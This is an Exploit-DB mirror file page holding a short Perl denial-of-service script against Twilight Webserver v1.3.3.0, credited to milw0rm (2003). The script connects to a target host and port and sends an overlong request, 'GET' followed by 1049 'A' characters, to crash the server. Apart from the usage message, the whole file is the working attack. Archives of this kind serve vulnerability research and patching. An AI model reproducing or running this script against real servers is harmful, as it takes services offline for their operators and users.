exploit-db-mirror/exploits/windows/dos/3138.pl
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

24 lines
No EOL
632 B
Perl
Executable file

# Denial of Service Attack against Twilight Webserver v1.3.3.0
# http://www.twilightutilities.com
# Original author wanted the c code removed.
# /str0ke
use strict;
use IO::Socket;
sub usage
{
print "Denial of Service Attack against Twilight Webserver v1.3.3.0\n";
print "Usage: $0 www.example.com port\n";
exit ();
}
my $host= shift || &usage;
my $port= shift || 80;
my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp') or die("Connect issue");
# pretty close to the output of the c code.
print $sock "GET" . "A" x 1049 . "\r\n";
# milw0rm.com [2003-07-07]